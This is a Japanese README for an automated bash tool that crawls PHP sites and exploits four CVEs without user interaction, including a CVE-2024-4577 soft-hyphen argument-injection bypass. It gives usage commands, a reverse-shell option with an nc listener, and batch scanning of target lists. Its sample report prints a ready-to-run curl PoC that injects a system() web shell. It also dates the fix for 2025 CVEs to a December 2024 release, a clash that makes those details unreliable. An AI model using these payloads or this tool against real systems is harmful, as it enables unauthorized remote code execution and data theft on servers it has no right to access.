
重大なPHP脆弱性(CVE-2024-4577 バイパス、CVE-2025-14177、CVE-2025-14180、CVE-2025-14178)の自動検出・悪用
影響を受けるPHPの重大な脆弱性(CVE-2024-4577 バイパス、CVE-2025-14177、CVE-2025-14180、CVE-2025-14178)の自動検出および自動悪用
PHP8.1.x_Exploit.sh は、シングルファイル・ゼロ設定のセキュリティ評価ツールで、脆弱なPHPエンドポイントを自動的に発見し、2024年12月にリリースされたPHP 8.1.34 より前のバージョンに影響する4件の影響度の高いCVEを自動的に悪用します。手動によるペイロード作成は不要で、URLを指定するだけでクローリングからリモートコード実行までスクリプトがすべて行います。完全オートパイロット – ユーザーの操作なしで検出と悪用を自動的に実行します。
-dとソフトハイフン%ADによるバイパス。getimagesize() によるヒープメモリリーク
array_merge における整数オーバーフロー。parallel が利用可能な場合は使用し、ない場合は適切にフォールバックします。| 依存関係 | 目的 | 通常インストール済みか? |
|---|---|---|
bash 4.0+ | スクリプトインタプリタ | はい(Linux/macOS) |
curl | HTTPリクエスト | はい |
grep、sed、awk | テキスト処理 | はい |
mktemp | 一時ファイルの作成 | はい |
(オプション)parallel | バッチスキャンの高速化 | いいえ(ただし推奨) |
(オプション)jq | JSON出力のフォーマット | いいえ |
root権限は不要 – このツールはHTTPリクエストを送信するのみで、オプションでリバースシェルを実行します(お使いのマシンでリスナーが必要です)。
git clone https://github.com/gl1tch0x1/PHP_8.1.x_Exploit.git
cd PHP_8.1.x_Exploit
chmod +x PHP8.1.x_Exploit.sh
単一ターゲット(最も一般的)
./PHP8.1.x_Exploit.sh -u http://target.example.com
リバースシェル付き単一ターゲット(CVE-2024-4577)
./PHP8.1.x_Exploit.sh -u http://vulnerable-win-server.local/ --revshell 192.168.1.100 4444
その後、お使いのマシンで:
nc -lvnp 4444
複数ターゲットのバッチスキャン
./PHP8.1.x_Exploit.sh -l targets.txt --threads 10
例 targets.txt:
http://192.168.1.1/
https://10.0.0.5:8080/
http://internal-app.company.com
スキャン専用モード(悪用を試行しない)
./PHP8.1.x_Exploit.sh -u http://target.com/ --scan-only
レポートをファイルに保存
./PHP8.1.x_Exploit.sh -u http://target.com/ -o results.txt
Verbose / デバッグ出力
./PHP8.1.x_Exploit.sh -u http://target.com/ --verbose
./PHP8.1.x_Exploit.sh -u http://target.com/ --debug # very noisy
| フェーズ | 動作 |
|---|---|
| 1 | フィンガープリント – ヘッダーとプローブからOSとPHPバージョンを特定します。 |
| 2 | クローリング – ホームページからhref 属性とaction 属性を抽出します。 |
| 3 | CGIの発見 – 一般的なパスと、CGIらしいクロール済みリンクを試行します。 |
| 4 | CVE-2024-4577 のテスト – -d と%AD の両方のペイロードを注入し、成功した場合はコマンドを実行するかリバースシェルを送信します。 |
| 5 | アップロードエンドポイントの発見 – 一般的なアップロードパスと、"upload"/"image"を含むフォームを確認します。 |
| 6 | CVE-2025-14177 のテスト – 不正なJPEGを作成し、各アップロードエンドポイントにPOSTしてヒープリークを検出します。 |
| 7 | ディープ内部スキャン – RCEが達成された場合、スキャナ用PHPスクリプトをアップロードして実行し、CVE-2025-14180 / CVE-2025-14178 をテストします。 |
| 8 | レポート – サマリーを表示し、オプションでファイルに書き出します。 |
| オプション | 説明 |
|---|---|
-u URL | 単一ターゲットのURL(例: http://example.com/) |
-l FILE | 1行に1つのURLを記述したバッチファイル |
--scan-only | 検出のみ – 悪用しない(リバースシェルなし、ペイロードのアップロードなし) |
-o FILE | 最終レポートをFILEに書き出す |
--threads N | バッチスキャンの並列スレッド数(デフォルト: 5) |
--timeout N | HTTPタイムアウト(秒)(デフォルト: 10) |
--no-color | 色付き出力を無効化 |
--verbose | 詳細な進行状況を表示 |
--debug | すべてのHTTPリクエストを表示(機密データが露出する可能性があります) |
--revshell IP PORT | CVE-2024-4577 が検出された場合にリバースシェルを試行 |
-h, --help | ヘルプを表示して終了 |
| CVE | 深刻度 | 影響 | 悪用ベクトル | 修正バージョン |
|---|---|---|---|---|
| CVE-2024-4577(バイパス) | 緊急 | RCE | Windows CGI 引数インジェクション(ソフトハイフンマッピング) | PHP 8.1.34 |
| CVE-2025-14177 | 中/高 | 情報漏えい(ヒープメモリ) | getimagesize() に渡される不正なJPEG | PHP 8.1.34 |
| CVE-2025-14180 | 高 | DoS(NULLポインタ参照) | エミュレートされたプリペアドステートメントを使用するPDO PostgreSQL + 不正なパラメータ\x99 | PHP 8.1.34 |
| CVE-2025-14178 | 高(8.2) | DoS / メモリ破損の可能性 | 巨大な配列により整数オーバーフローを引き起こすarray_merge() | PHP 8.1.34 |
注: CVE-2025-14180 と CVE-2025-14178 は、サーバー内部からのみ(ローカルテスト)正確に検出できます。このスクリプトは、CGIエクスプロイトが成功した後にスキャナをアップロードすることでこれを実現します。
[*] Scanning: http://192.168.1.100/
[*] OS: windows
[*] PHP version: 8.1.33
[*] Testing CVE-2024-4577 on http://192.168.1.100/cgi-bin/php-cgi.exe
[✓] CVE-2024-4577: VULNERABLE (soft hyphen injection)
[*] Attempting reverse shell to 192.168.1.5 4444
...
[*] Testing CVE-2025-14177 via http://192.168.1.100/upload.php
[-] CVE-2025-14177: Potential heap leak detected!
...
[*] Running deep local scan via RCE...
PHP_VERSION=8.1.33
CVE-2025-14180: VULNERABLE
CVE-2025-14178: VULNERABLE
CVE-2025-14177: VULNERABLE (leak: 486561704c65616b21...)
===================== Report for http://192.168.1.100/ =====================
OS: windows
PHP: 8.1.33
CVE-2024-4577: EXPLOITABLE at http://192.168.1.100/cgi-bin/php-cgi.exe?%ADd+allow_url_include=on+%ADd+auto_prepend_file=php://input
PoC: curl -X POST --data '<?php system($_GET["c"]); ?>' 'http://192.168.1.100/cgi-bin/php-cgi.exe?%ADd+allow_url_include=on+%ADd+auto_prepend_file=php://input&c=whoami'
CVE-2025-14177: VULNERABLE
CVE-2025-14180/14178: VULNERABLE (see deep scan output)
==============================================================
--revshell オプションは、ターゲットからお使いのマシンへのソケットを開きます。接続を返す権利があることを確認してください。| 問題 | 解決方法 |
|---|---|
curl: command not found | curl をインストールしてください |
GNU parallel not found | 無視されます – スクリプトはなくても動作します(バッチスキャンが遅くなります) |
| CGIエンドポイントが見つからない | ターゲットがCGIを使用していないか、-d フラグをブロックするWAFの背後にある可能性があります |
| CVE-2024-4577 は動作するがリバースシェルが失敗する | ファイアウォールを確認してください。--scan-only と手動のnc リスナーでより単純なペイロードを試してください |
| 画像リークテストが常に「No leak」を返す | アップロードエンドポイントが getimagesize() を使用していないか、バイナリデータを除去している可能性があります |
| ローカルスキャナのアップロードが失敗する | Webルートが書き込み可能でない可能性があります。スクリプトはCGIスクリプトと同じディレクトリに書き込もうとします |
プルリクエスト、バグ報告、機能提案を歓迎します。以下の点に従ってください:
parallel ありとなしの両方でテストしてください。GNU General Public License v3.0 – LICENSE ファイルを参照してください。
セキュリティコミュニティのために🧠を込めて作られています。倫理的に使用してください。